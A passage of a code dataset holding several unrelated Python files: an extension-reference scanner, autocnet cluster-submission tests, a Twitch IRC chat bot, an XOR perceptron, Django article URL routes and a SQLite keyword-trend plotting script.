res.append(\"\"\"</body>\"\"\")\n    outfile = open(fname, 'w')\n    outfile.write(\"\".join(res))\n\n# #############################################################################\n# Parse and alanlyze extension attributes\n\ndef build_reverse_index(extensions):\n    \"\"\"Build reverse index from { extname : [ExtensionAttribute..] } \"\"\"\n    index = {}\n    allextnames = sets.ImmutableSet( extensions.keys() )\n    for extname  in extensions:\n        for extension in extensions[extname]:\n            for reference in extension.tokens&allextnames:\n                index.setdefault(reference, sets.Set()).add(extname)\n    return index\n\ndef sorted_extensions(extensions):\n    \"\"\"Return a sorted list of names in { extname : [ExtensionAttribute..] }\"\"\"\n    sorted_names = [str(ext) for ext in list(extensions)]\n    sorted_names.sort(lambda a, b:cmp(a.upper(), b.upper()))\n    return sorted_names\n\ndef follow_references(extensions, visited_extensions, new_refs):\n    \"\"\"Follow references in extensions and mark all visited\"\"\"\n    for reference in new_refs:\n        visited_extensions.add(reference)\n        for ext in extensions[reference]:\n            for newref in ext.tokens:\n                if not newref in visited_extensions and newref in extensions:\n                    follow_references(extensions, visited_extensions, [newref] )  \n                    \ndef extensions_referenced_by_columns(modules):\n    colextattrs = sets.Set( [ coldef.attribute_dictionary['ExtensionAttribute'] for coldef in\\\n                            FExtensionUtils.get_column_in_module(modules)\\\n                            if coldef.attribute_dictionary.has_key('ExtensionAttribute')] )\n    colextattrs |= sets.Set( [ coldef.attribute_dictionary['SolverDefaultParameter'] for coldef in\\\n                            FExtensionUtils.get_column_in_module(modules)\\\n                            if coldef.attribute_dictionary.has_key('SolverDefaultParameter')] )\n    colextattrs |= sets.Set( [ coldef.attribute_dictionary['DynamicVectorPerRowObjectCalculationColumnId'] for coldef in\\\n                            FExtensionUtils.get_column_in_module(modules)\\\n                            if coldef.attribute_dictionary.has_key('DynamicVectorPerRowObjectCalculationColumnId')] )\n    colextattrs |= sets.Set( [ coldef.attribute_dictionary['ChoicesExpr'] for coldef in\\\n                            FExtensionUtils.get_column_in_module(modules)\\\n                            if coldef.attribute_dictionary.has_key('ChoicesExpr')] )\n    colextattrs |= sets.Set( [ menuext.attribute_dictionary['ExtensionAttribute'] for menuext in\\\n                            FExtensionUtils.get_menuextension_in_module(modules)\\\n                            if menuext.attribute_dictionary.has_key('ExtensionAttribute')] )\n    colextattrs |= sets.Set( [ exptrans.attribute_dictionary['Inverse'] for exptrans in\\\n                            FExtensionUtils.get_expressiontransform_in_module(modules)\\\n                            if exptrans.attribute_dictionary.has_key('Inverse')] )\n    colextattrs |= sets.Set( [ exptrans.attribute_dictionary['InverseVariable'] for exptrans in\\\n                            FExtensionUtils.get_expressiontransform_in_module(modules)\\\n                            if exptrans.attribute_dictionary.has_key('InverseVariable')] )\n    colextattrs |= sets.Set( [ exptrans.attribute_dictionary['Transform'] for exptrans in\\\n                            FExtensionUtils.get_expressiontransform_in_module(modules)\\\n                            if exptrans.attribute_dictionary.has_key('Transform')] )\n    colextattrs |= sets.Set( [ colapp.attribute_dictionary['TextExtensionAttribute'] for colapp in\\\n                            FExtensionUtils.get_columnappearance_in_module(modules)\\\n                            if colapp.attribute_dictionary.has_key('TextExtensionAttribute')] )\n    colextattrs |= sets.Set( [ colapp.attribute_dictionary['BkgExtensionAttribute'] for colapp in\\\n                            FExtensionUtils.get_columnappearance_in_module(modules)\\\n                            if colapp.attribute_dictionary.has_key('BkgExtensionAttribute')] )\n    if acm.FChoiceList.Select('name = Valuation Extension'):        \n        colextattrs |= sets.Set( [ item.StringKey() for item in\\\n                            acm.FChoiceList.Select('name = Valuation Extension').At(0).Choices()] )\n    return colextattrs\n                    \ndef parse_analyze_and_report_extensions(modules):\n    \"\"\"Find atributes that appear never to be called\"\"\"\n    checkextensions = sets.Set()\n    extensions = {}\n    for extattr in FExtensionUtils.get_extension_in_module(modules):\n        extensions.setdefault(extattr.extension_name, []).append(extattr)\n        if extattr.module_name in modules.nonBuiltInModules():\n            checkextensions.add(extattr.extension_name)  \n    allextnames = sets.ImmutableSet( extensions.keys() )\n    colextattrs = extensions_referenced_by_columns(modules)\n    badcolumns = colextattrs - allextnames\n    colextattrs -= badcolumns\n    referenced_extensions = sets.Set()\n    follow_references(extensions, referenced_extensions, colextattrs )\n    unreffed_extensions = checkextensions - referenced_extensions  - colextattrs\n    res  = []\n    for extname in unreffed_extensions:\n        for ext in extensions[extname]:            \n            res.append( (ext.module_name, ext.extension_name, ext.class_name, ) )\n    res.sort()\n    return extensions, unreffed_extensions\n    \ndef scan_context(context, users):\n    \"\"\"Scan context for porential extension problems\"\"\"\n    modules = FExtensionUtils.get_modules(users, context)\n    return parse_analyze_and_report_extensions(modules)\n\ndef scan_modules(modules):\n    return parse_analyze_and_report_extensions(modules)\n\ndef scan_contexts_and_report(context, users, reportname, write_summary_report):\n    res = [h3(\"Unreferenced code\")]\n    unref_count = 0\n    unref_ext = sets.Set()\n    ext_attrs = {}\n    for cont in context:\n        print (\"Scanning context\", cont.StringKey(), \"for unreferenced code\")\n        if write_summary_report:\n            report = reportname + \"_files\\\\Unreferenced_\" + cont.StringKey() + \".html\"\n            report_link = reportname[reportname.rfind(\"\\\\\")+1:] + \"_files\\\\Unreferenced_\" + cont.StringKey() + \".html\"\n        else:\n            report = reportname + \"_Unreferenced_\" + cont.StringKey() + \".html\"\n            report_link = report\n        extensions, unreffed_extensions = scan_context(cont, users)\n        if len(unreffed_extensions):\n            unref_count += len(unreffed_extensions)\n            unref_ext |= unreffed_extensions\n            ext_attrs.update(extensions)\n            write_report(report, extensions, \"all modules in \" + cont.StringKey(), cont, unreffed_extensions)\n            res.append(str(len(unreffed_extensions)))\n            res.append(\"<small> (\")\n            res.append(str(len(unref_ext)))\n            res.append(\") </small>unreferenced extension attributes in context \")\n            res.append(html_link(cont.StringKey(), report_link))\n            res.append('<BR>')\n    if not unref_count:\n        if write_summary_report:\n            res.append(\"No unreferenced extension attributes found in the scanned contexts<BR>\")\n        else:\n            print (\"No unreferenced extension attributes found in context\", context[0].StringKey())\n            return None\n    elif write_summary_report:\n        report = reportname + \"_files\\\\UnrefExt.html\"\n        report_link = reportname[reportname.rfind(\"\\\\\")+1:] + \"_files\\\\UnrefExt.html\"\n        write_report(report, ext_attrs, \"scanned contexts\", None, unref_ext)\n        res.append(\"Total \")\n        res.append(str(unref_count))\n        res.append(\"<small> (\")\n        res.append(html_link_noUL(str(len(unref_ext)) + \" unique\", report_link))\n        res.append(\") </small>unreferenced extension attributes<BR>\")\n    else:\n        return report\n    return \"\".join(res)\n\ndef scan_modules_and_report(module, reportname, write_summary_report):\n    print (\"Scanning modules for unreferenced extension attributes...\")\n    if write_summary_report:\n        report = reportname + \"_files\\\\Unreferenced_in_modules.html\"\n        report_link = reportname[reportname.rfind(\"\\\\\")+1:] + \"_files\\\\Unreferenced_in_modules.html\"\n    else:\n        report = reportname + \"_Unreferenced_in_modules.html\"\n        report_link = report\n    modules = FExtensionUtils.get_moduleDict(module)\n    extensions, unreffed_extensions = scan_modules(modules)\n    if len(unreffed_extensions):\n        write_report(report, extensions, \"in modules \" + modules.StringKey(), None, unreffed_extensions)\n        res = [str(len(unreffed_extensions))]\n        res.append(\" unreferenced extension attributes in the \")\n        res.append(html_link(\"scanned modules\", report_link))\n        res.append('<BR>')\n        res = \"\".join(res)\n        if not write_summary_report:\n            res = report\n    else:\n        if write_summary_report:\n            res = \"No unreferenced extension attributes found in the scanned modules<BR>\"\n        else:\n            res = None\n            print (\"No unreferenced extension attributes found in the scanned modules\")\n            \n    return res\n\n\n\n\n\n","sub_path":"Extensions/ExtensionToolMod/FPythonCode/FExtensionUnref.py","file_name":"FExtensionUnref.py","file_ext":"py","file_size_in_byte":12512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"19132339","text":"import json\nimport os\nfrom unittest import mock\nfrom unittest.mock import patch\n\nimport numpy as np\nimport pytest\n\nfrom autocnet.utils.serializers import JsonEncoder, object_hook\nfrom autocnet.graph import cluster_submit\nfrom autocnet.graph.node import NetworkNode\nfrom autocnet.graph.edge import NetworkEdge\nfrom autocnet.io.db.model import Points, JobsHistory\n\n\n@pytest.fixture\ndef args():\n    arg_dict = {'working_queue':'working',\n                'processing_queue':'processing',\n                'queue':False}\n    return arg_dict\n\n@pytest.fixture\ndef simple_message():\n    return json.dumps({\"job\":\"do some work\",\n                       'args' : [\"arg1\", \"arg2\"],\n                       'kwargs' : {\"k1\" : \"foo\", \"k2\" : \"bar\"},\n                       'func':'autocnet.place_points',\n                       'results' :[{\"status\" : 'success'}] }, cls=JsonEncoder\n    )\n\n@pytest.fixture\ndef complex_message():\n    return json.dumps({'job':'do some complex work',\n                      'arr':np.ones(5),\n                      'results' :[{\"status\" : 'success'}], \n                      'args' : [\"arg1\", \"arg2\"],\n                      'kwargs' : {\"k1\" : \"foo\", \"k2\" : \"bar\"},\n                      'func':'autocnet.place_points'}, cls=JsonEncoder)\n\ndef test_manage_simple_messages(args, queue, simple_message, mocker, capfd, ncg):\n    queue.rpush(args['processing_queue'], simple_message)\n\n    response_msg = {'success':True, 'results':'Things were good.', 'kwargs' : {'Session' : ncg.Session}}\n    mocker.patch('autocnet.graph.cluster_submit.process', return_value=response_msg)\n    mocker.patch.dict(os.environ, {\"SLURM_JOB_ID\": \"1000\"}) \n\n    cluster_submit.manage_messages(args, queue)\n    \n    # Check that logging to stdout is working\n    out, err = capfd.readouterr()\n    assert out.strip() == str(response_msg).strip() \n\n    # Check that the messages are finalizing\n    assert queue.llen(args['working_queue']) == 0\n\ndef test_manage_complex_messages(args, queue, complex_message, mocker, capfd, ncg):\n    queue.rpush(args['processing_queue'], complex_message)\n\n    response_msg = {'success':True, 'results':'Things were good.', 'kwargs' : {'Session' : ncg.Session}}\n    mocker.patch('autocnet.graph.cluster_submit.process', return_value=response_msg)\n    mocker.patch.dict(os.environ, {\"SLURM_JOB_ID\": \"1000\"}) \n \n    cluster_submit.manage_messages(args, queue)\n    \n    # Check that logging to stdout is working\n    out, err = capfd.readouterr()\n    assert out.strip() == str(response_msg).strip()\n\n    # Check that the messages are finalizing\n    assert queue.llen(args['working_queue']) == 0\n\n\ndef test_job_history(args, queue, complex_message, mocker, capfd, ncg):\n    queue.rpush(args['processing_queue'], complex_message)\n\n    response_msg = {'success':True, \n                    'args' : [\"arg1\", \"arg2\"],\n                    'kwargs' : {\"k1\" : \"foo\", \"k2\" : \"bar\", \"Session\" : ncg.Session}}\n    mocker.patch('autocnet.graph.cluster_submit.process', return_value=response_msg)\n    mocker.patch.dict(os.environ, {\"SLURM_JOB_ID\": \"1000\"}) \n    \n    cluster_submit.manage_messages(args, queue)\n    \n    message_json = json.loads(complex_message)\n    with ncg.Session() as session: \n        resp = session.query(JobsHistory).first()\n        assert resp.functionName == \"autocnet.place_points\"\n        assert resp.jobId == 1000\n        assert resp.args == {\"args\" : message_json[\"args\"], \"kwargs\" : message_json[\"kwargs\"]}\n        assert resp.logs.strip() == str(response_msg).strip()\n\ndef test_transfer_message_to_work_queue(args, queue, simple_message):\n    queue.rpush(args['processing_queue'], simple_message)\n    cluster_submit.transfer_message_to_work_queue(queue, args['processing_queue'], args['working_queue'])\n    msg = queue.lpop(args['working_queue'])\n    assert msg.decode() == simple_message\n\ndef test_finalize_message_from_work_queue(args, queue, simple_message):\n    remove_key = simple_message\n    queue.rpush(args['working_queue'], simple_message)\n    cluster_submit.finalize_message_from_work_queue(queue, args['working_queue'], remove_key)\n    assert queue.llen(args['working_queue']) == 0\n    \ndef test_no_msg(args, queue):\n    with pytest.warns(UserWarning, match='Expected to process a cluster job, but the message queue is empty.'):\n        cluster_submit.manage_messages(args, queue)\n\n\n# Classes and funcs for testing job submission.\nclass Foo():\n    def test(self, *args, **kwargs):\n        return True\n\ndef _do_nothing(*args, **kwargs): \n    return True\n\ndef _generate_obj(msg, ncg):\n    return Foo()\n\n@pytest.mark.parametrize(\"along, func, msg_additions\", [\n                            ('edge', _do_nothing, {'id':(0,1), 'image_path':('/foo.img', '/foo2.img')}),  # Case: callable func\n                            ('node', _do_nothing, {'id':0, 'image_path':'/foo.img'}),   # Case: callable func\n                            ('edge', 'test', {'id':(0,1), 'image_path':('/foo.img', '/foo2.img')}),  # Case: method on obj\n                            ('node', 'test', {'id':0, 'image_path':'/foo.img'}),   # Case: method on obj\n                            ('edge', 'graph.tests.test_cluster_submit._do_nothing', {'id':(0,1), 'image_path':('/foo.img', '/foo2.img')}),  # Case: imported func\n                            ('node', 'graph.tests.test_cluster_submit._do_nothing', {'id':0, 'image_path':'/foo.img'}),   # Case: imported func\n                        ])\ndef test_process_obj(along, func, msg_additions, mocker):\n    msg = {'along':along,\n          'config':{},\n          'func':func,\n          'args':[],\n          'kwargs':{}}\n    msg ={**msg, **msg_additions}\n    mocker.patch('autocnet.graph.cluster_submit._instantiate_obj', side_effect=_generate_obj)\n    mocker.patch('autocnet.graph.network.NetworkCandidateGraph.Session', return_value=True)\n    mocker.patch('autocnet.graph.network.NetworkCandidateGraph.config_from_dict')\n\n    msg = cluster_submit.process(msg)\n    \n    # Message result should be the same as \n    assert msg['results'] == True\n    \n    cluster_submit._instantiate_obj.assert_called_once()\n\n@pytest.mark.parametrize(\"along, func, msg_additions\", [\n    ('points', _do_nothing, {}),\n    ('measures', _do_nothing, {}),\n    ('overlaps', _do_nothing, {}),\n    ('images', _do_nothing, {})\n])\ndef test_process_row(along, func, msg_additions, mocker):\n    msg = {'along':along,\n        'config':{},\n        'func':func,\n        'args':[],\n        'kwargs':{}}\n    msg ={**msg, **msg_additions}\n    mocker.patch('autocnet.graph.cluster_submit._instantiate_row', side_effect=_generate_obj)\n    mocker.patch('autocnet.graph.network.NetworkCandidateGraph.Session', return_value=True)\n    mocker.patch('autocnet.graph.network.NetworkCandidateGraph.config_from_dict')\n    msg = cluster_submit.process(msg)\n    \n    # Message result should be the same as \n    assert msg['results'] == True\n    \n    cluster_submit._instantiate_row.assert_called_once()\n\n@pytest.mark.parametrize(\"along, func, msg_additions\",[\n                        ([1,2,3,4,5], _do_nothing, {})\n                        ])\ndef test_process_generic(along, func, msg_additions, mocker):\n    msg = {'along':along,\n        'config':{},\n        'func':func,\n        'args':[],\n        'kwargs':{}}\n    msg ={**msg, **msg_additions}\n    mocker.patch('autocnet.graph.cluster_submit._instantiate_row', side_effect=_generate_obj)\n    mocker.patch('autocnet.graph.cluster_submit._instantiate_obj', side_effect=_generate_obj)\n    mocker.patch('autocnet.graph.network.NetworkCandidateGraph.Session', return_value=True)\n    mocker.patch('autocnet.graph.network.NetworkCandidateGraph.config_from_dict')\n    \n    assert not cluster_submit._instantiate_row.called\n    assert not cluster_submit._instantiate_obj.called\n\n    msg = cluster_submit.process(msg)\n\n    # Message result should be the same as \n    assert msg['results'] == True\n\n@pytest.mark.parametrize(\"msg, expected\", [\n                            ({'along':'node','id':0, 'image_path':'/foo.img'}, NetworkNode),\n                            ({'along':'edge','id':(0,1), 'image_path':('/foo.img', '/foo2.img')}, NetworkEdge)\n                            ])\ndef test_instantiate_obj(msg, expected):\n    obj = cluster_submit._instantiate_obj(msg, None)\n    assert isinstance(obj, expected)\n\n@pytest.mark.parametrize(\"msg, expected\", [\n                            ({'along':'points','id':0}, Points),\n                            ])\n\ndef test_instantiate_row(msg, expected, mocker):\n    mock_ncg = mocker.MagicMock()\n    # Mock the db query to return a row of the requested type\n    mock_ncg.apply_iterable_options.return_value = {'points':Points}\n    mock_ncg.session_scope.return_value.__enter__.return_value.query.return_value.filter.return_value.one.return_value = expected()\n\n    obj = cluster_submit._instantiate_row(msg, mock_ncg)\n    assert isinstance(obj, expected)","sub_path":"autocnet/graph/tests/test_cluster_submit.py","file_name":"test_cluster_submit.py","file_ext":"py","file_size_in_byte":8832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"558402178","text":"import logging\nimport sys\nimport os\n\nfrom time import sleep\nimport irc.bot\nimport irc.strings\nfrom datetime import datetime, timezone, timedelta\nimport threading\n\nimport xml.etree.ElementTree\n\n\nclass GrenouilleIrcBot(irc.bot.SingleServerIRCBot):\n    \"\"\"The module of the bot responsible for the Twitch (IRC) chat.\n    Listen to all pub messages and respond accordingly.\n\n    Attributes\n        grenouille_bot - The main class the module is linked to.\n\n        sanitizer - thread ran every 3 minutes to check if the bot is still alive\n        commands - list of all commands supported by the bot\n        who_data - streamer names displayed by who\n    \"\"\"\n\n    def __init__(self, grenouille_bot):\n        self.grenouille_bot = grenouille_bot\n\n        channel = self.grenouille_bot.config['DEFAULT']['channel']\n        nickname = self.grenouille_bot.config['DEFAULT']['nickname']\n        server = 'irc.chat.twitch.tv'\n        password = self.grenouille_bot.config['DEFAULT']['token']\n        port = 6667\n\n        self.who_data = 'Aucune info sur le streamer actuel.'\n        self.commands = {\n            'grenouille': self.grenouille,\n            'next': self.next,\n            'now': self.now,\n            'who': self.who,\n            'youtube': self.youtube,\n            'twitter': self.twitter\n        }\n        self.aliases = {\n            't': 'twitter',\n            'y': 'youtube'\n        }\n\n        irc.bot.SingleServerIRCBot.__init__(self, [(server, port, password)], nickname, nickname)\n        self.channel = channel\n        self.sanitizer = threading.Timer(60, self.sanitize).start()\n        self.last_ping = datetime.utcnow()\n\n        self.twitters = xml.etree.ElementTree.parse(os.path.join(os.path.dirname(__file__), 'twitters.xml')).getroot()\n\n    def on_welcome(self, connection, e):\n        \"\"\"Called when the bot is connected to the IRC server.\n        \"\"\"\n        connection.join(self.channel)\n        connection.set_rate_limit(0.5)\n        connection.send_raw('CAP REQ :twitch.tv/commands')\n        connection.send_raw('CAP REQ :twitch.tv/tags')\n        logging.info('Connected to channel.')\n        \n    def sanitize(self):\n        \"\"\"Check that IRC twitch didn't kick us.\n        If that's the case, we reconnect.\n        \"\"\"\n        if datetime.utcnow() - self.last_ping > timedelta(minutes=7):\n            self.last_ping = datetime.utcnow()\n            logging.warning('Sanitizer detected lost connection. Reconnecting.')\n            self.connection.disconnect()\n            sleep(10)\n            self.connection.reconnect()\n        self.sanitizer = threading.Timer(60, self.sanitize).start()\n\n    def on_ping(self, connection, e):\n        \"\"\"Save last ping for sanitizer.\n        \"\"\"\n        self.last_ping = datetime.utcnow()\n\n    def send_msg(self, line):\n        \"\"\"Send a message to the IRC channel.\n        Do nothing if there is an exception (like disconnected)\n        \"\"\"\n        try :\n            self.connection.privmsg(self.channel, line)\n        except Exception:\n            \"\"\"do something if it fails ? push message in a queue and read it after reconnection ?\"\"\"\n            return\n            \n    def on_pubmsg(self, connection, e):\n        \"\"\"Called for every public message.\n        Extract command, call it with admin info.\n        \"\"\"\n        message = e.arguments[0]\n        sender = e.source.nick\n        tags = {key_value[\"key\"]: key_value[\"value\"] for key_value in e.tags}\n        is_admin = False\n        if 'user-type' in tags:\n            is_admin = bool(tags['user-type'])\n\n        if not message[0] == '!':\n            return\n        elif sender == connection.get_nickname():\n            return\n        else:\n            split = message[1:].split(' ', 1)\n\n            if split[0] in self.commands:\n                answer = self.commands[split[0]](is_admin, split[1] if len(split) > 1 else None)\n            elif split[0] in self.aliases and self.aliases[split[0]] in self.commands:\n                answer = self.commands[self.aliases[split[0]]](is_admin, split[1] if len(split) > 1 else None)\n            else:\n                return\n\n            for line in answer or []:\n                self.send_msg(line)\n\n\n    ######################################\n    # Methods linked to the bot commands #\n    ######################################\n\n    def grenouille(self, is_admin=False, parameters=None):\n        \"\"\"List all bot commands\n\n        :return:\n        \"\"\"\n        return [\"Les croassements que j'écoute sont: {0}.\".format(', '.join(sorted(self.commands.keys())))]\n\n    def next(self, is_admin=False, parameters=None):\n        \"\"\"Display the next event from the calendar.\n\n        :return:\n        \"\"\"\n        try:\n            now = datetime.now(timezone.utc)\n            while self.grenouille_bot.event_list and self.grenouille_bot.event_list[0].end < now:\n                self.grenouille_bot.event_list.pop(0)\n            if len(self.grenouille_bot.event_list) == 0:\n                return ['Aucun événement planifié dans le calendrier.']\n            else:\n                if self.grenouille_bot.event_list[0].start > now:\n                    return [str(self.grenouille_bot.event_list[0])]\n                else:\n                    return [str(self.grenouille_bot.event_list[1])]\n        except Exception:\n            logging.exception('Error when next.')\n            return ['Erreur interne à la grenouille.']\n\n    def now(self, is_admin=False, parameters=None):\n        \"\"\"Display the current event from the calendar.\n\n        :return:\n        \"\"\"\n        try:\n            now = datetime.now(timezone.utc)\n            while self.grenouille_bot.event_list and self.grenouille_bot.event_list[0].end < now:\n                self.grenouille_bot.event_list.pop(0)\n            if len(self.grenouille_bot.event_list) == 0:\n                return ['Aucun événement planifié dans le calendrier.']\n            elif self.grenouille_bot.event_list[0].start < now < self.grenouille_bot.event_list[0].end:\n                return [str(self.grenouille_bot.event_list[0])]\n            else:\n                return [\"Aucune information dans le calendrier pour l'événement actuel.\"]\n        except Exception:\n            logging.exception('Error when now.')\n            return ['Erreur interne à la grenouille.']\n\n    def who(self, is_admin=False, parameters=None):\n        \"\"\"Display current streamers.\n        Mod can change with parameters\n\n        :param parameters variable to set if not None\n        :return:\n        \"\"\"\n        if is_admin and parameters is not None:\n            self.who_data = 'Streamers actuels: {0}'.format(parameters)\n        return [self.who_data]\n\n    def youtube(self, is_admin=False, parameters=None):\n        \"\"\"Print the youtube official channel of the FroggedTV\n\n        :param parameters useless in this function\n        :return: Youtube of the FroggedTV\n        \"\"\"\n        return ['Le YouTube de la FroggedTV : https://www.youtube.com/FroggedTV']\n\n    def twitter(self, is_admin=False, parameters=None):\n        \"\"\"Display the Twitter account of the asked streamer.\n\n        :param parameters name of the streamer\n        :return:\n        \"\"\"\n        if parameters is not None:\n            twitter = self.twitters.find('.//twitter[@name=\"{0}\"]'.format(parameters.lower()))\n            if twitter is not None:\n                return [twitter.text]\n            else:\n                twitter = self.twitters.find('.//twitter[@alias=\"{0}\"]'.format(parameters.lower()))\n                if twitter is not None:\n                    return [twitter.text]\n                else:\n                    return []\n        else:\n            twitter = self.twitters.find('.//twitter[@name=\"froggedtv\"]')\n\n            if twitter is not None:\n                return [twitter.text]\n            else:\n                return []\n","sub_path":"bot/grenouille_irc_bot.py","file_name":"grenouille_irc_bot.py","file_ext":"py","file_size_in_byte":7800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"238125931","text":"#!/usr/bin/env python\n# coding:utf-8\n\"\"\"\n  Purpose:  One hidden layer perceptron test (XOR function)\n  Created:  22/12/2016\n\"\"\"\n\nimport numpy as np\n\n\ndef sigmoid(x, deriv=False):\n    \"\"\"Sigmoid function\"\"\"\n    if deriv:\n        return sigmoid(x) * (1 - sigmoid(x))\n    return 1 / (1 + np.exp(-x))\n\n\ndef main():\n    x = np.array([[0, 0, 1], [0, 1, 1], [1, 0, 1], [1, 1, 1]])  # input data and bias\n    y = np.array([[0], [1], [1], [0]])  # XOR output data\n\n    np.random.seed(1)  # seed the rand generator\n\n    # 4 nodes hidden layer\n    synapse0 = 2 * np.random.random((3, 4)) - 1  # 3x4 matrix of weights (2 inputs + 1 bias)\n    synapse1 = 2 * np.random.random((4, 1)) - 1  # 4x1 matrix of weights\n\n    # training\n    for i in range(60000):\n        layer0 = x  # the first layer is the input layer\n        layer1 = sigmoid(np.dot(layer0, synapse0))  # second layer\n        layer2 = sigmoid(np.dot(layer1, synapse1))  # third layer\n\n        layer2_error = y - layer2  # layer2 error\n        layer2_delta = layer2_error * sigmoid(layer2, deriv=True)\n\n        layer1_error = layer2_delta.dot(synapse1.T)  # back propagation\n        layer1_delta = layer1_error * sigmoid(layer1, deriv=True)\n\n        # gradient descent (no coefficent)\n        synapse0 += layer0.T.dot(layer1_delta)\n        synapse1 += layer1.T.dot(layer2_delta)\n\n    print(\"Training finished:\")\n    print(layer2)\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"perceptron_xor_function.py","file_name":"perceptron_xor_function.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"294023773","text":"from django.urls import path, reverse_lazy\nfrom . import views\n\napp_name='myarts'\nurlpatterns = [\n    path('', views.ArticleListView.as_view(), name='all'),\n    path('article/<int:pk>', views.ArticleDetailView.as_view(), name='article_detail'),\n    path('article/create', \n        views.ArticleCreateView.as_view(success_url=reverse_lazy('myarts:all')), name='article_create'),\n    path('article/<int:pk>/update', \n        views.ArticleUpdateView.as_view(success_url=reverse_lazy('myarts:all')), name='article_update'),\n    path('article/<int:pk>/delete', \n        views.ArticleDeleteView.as_view(success_url=reverse_lazy('myarts:all')), name='article_delete'),\n]\n\n# We use reverse_lazy in urls.py to delay looking up the view until all the paths are defined\n","sub_path":"myarts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"396356053","text":"import sqlite3\nimport os \nfrom datetime import datetime\nimport matplotlib.pyplot as plt\nplt.rcParams['font.sans-serif'] = ['SimHei']\nplt.rcParams['axes.unicode_minus']=False\nimport time\nimport numpy as np\n\ndef database_ini():\n\tif os.path.isfile('wave.db') :\n\t\t#print('检测到数据库 wave.db')\n\t\t#print('检查中')\n\t\tTheFileSize = os.path.getsize('wave.db') \n\t\tif TheFileSize >= 1048992:\n\t\t\t#print('数据库符合测试大小（%s KB）正常' %TheFileSize)\n\t\t\tjxxx_data_db = sqlite3.connect(\"wave.db\")\n\t\t\treturn jxxx_data_db\n\t\telse:\n\t\t\tprint('数据库大小异常 %s' %TheFileSize)\n\t\t\tprint(\"解决方法：如果目录有 waveSQL.csv ，则可以删除 wave.db,重新运行程序。会自动生成所需要的数据库\")\n\telse:\n\t\tif os.path.isfile('waveSQL.csv'):\n\t\t\t# 如果存在 waveSQL.csv \n\t\t\t# 则进行转换\n\t\t\tprint('检测到数据库 waveSQL.csv，需要转换为 sqlite 格式')\n\t\t\tprint('<--------','##'*3,'转换中','##'*3,'-------->','\\n')\n\t\t\t\n\t\t\timport pandas as pd\n\t\t\tjxxx_data_db_temp = sqlite3.connect(\"wave.db\")\n\t\t\tjxxx_data = pd.read_csv('waveSQL.csv')\n\t\t\tjxxx_data.to_sql('wave', jxxx_data_db_temp)\n\t\t\tprint('转换完成')\n\t\t\tjxxx_data_db = sqlite3.connect(\"wave.db\")\n\t\t\t\n\t\t\treturn jxxx_data_db\t\t\t\n\t\telse:\n\t\t\tprint('数据文件不存在或文件名不是 waveSQL.csv 请检查')\n\ndef query(month):\n\tcursor = jxxx_data_db.cursor()\n\tcursor.execute(\"select * from wave where T = '%s'\" %month)\n\tvalues = cursor.fetchall()\n\treturn values\n\t\ndef counter(line, word1, word2=''):\n\tcount = 0\n\tif ( line[2].find(word1) != -1) and ( line[2].find(word2) != -1) or (line[3].find(word1) != -1)and ( line[3].find(word2) != -1):\n\t\tcount = count +1\n\treturn count\n\t\t\ndef get_all_month():\n\tcursor = jxxx_data_db.cursor()\n\tcursor.execute(\"select T from wave\")\n\tvalues = cursor.fetchall()\n\tym_list_dirty = sorted(set(values),key=values.index)\n\t\n\tdef clean_item(item):\n\t\titem = str(item)\n\t\titem = item.replace(',', '').replace('(', '').replace(')', '').replace('(', '').replace(\"'\", '').replace(\"\\'\", '')\n\t\treturn item\n\t\t\n\t\n\tym_list = [ clean_item(item) for item in ym_list_dirty]\n\treturn ym_list\n\ndef get_sum(month, word1, word2):\n\tquery_result = query(month)\n\tcount = sum([ counter(line, word1, word2) for line in query_result ])\n\treturn count\n\ndef plot(ym_list, count_result, word1, word2):\n\t\n\tx = [datetime.strptime(i, '%Y-%m') for i in ym_list]\n\ty = [float(i) for i in count_result]\n\tplt.plot(x, y)\n\tplt.xlabel(u'年-月')\n\tplt.ylabel(u'频数')\n\tplt.title(u' %s %s 在教学信息网上回答趋势图' %(word1, word2))\n\tplt.show()\n\treturn x, y\n\n\ndef spotlight( ym_list,  count_result, word1, word2):\n\ta = sorted(set(count_result))\n\tMedian = np.median(a)\n\tindex_list = np.float64(count_result)/Median\n\tcursor = jxxx_data_db.cursor()\n\t\n\tdef get_spot(line):\n\t\tif ( line[2].find(word1) != -1) and ( line[2].find(word2) != -1) or (line[3].find(word1) != -1)and ( line[3].find(word2) != -1):\n\t\t\tprint(line)\n\t\n\tfor i, item in enumerate(index_list):\n\t\tif item > 1:\n\t\t\tspotlight_zone = cursor.execute(\"select * from wave where T = '%s'\" %ym_list[i]).fetchall()\n\t\t\tevent = [get_spot(line) for line in spotlight_zone]\n\n\nif __name__ == \"__main__\":\t\n\t## timer\n\tstart = time.clock()\n\t############################################################\n\t\n\tjxxx_data_db = database_ini()\n\tym_list = get_all_month()\n\t\n\tword1 = '宿舍'\n\tword2 = ''\n\t\n\tcount_result = [ get_sum(month, word1, word2) for month in ym_list ]\n\tspotlight(ym_list, count_result, word1, word2)\n\tplot(ym_list, count_result, word1, word2)\n\t\t\n\t\n\t############################################################\n\t## timer\n\telapsed = (time.clock() - start)\n\tprint(\"Time used:\",elapsed)\n","sub_path":"开发迭代 中间文件/SQL v0.2 真身.py","file_name":"SQL v0.2 真身.py","file_ext":"py","file_size_in_byte":3643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
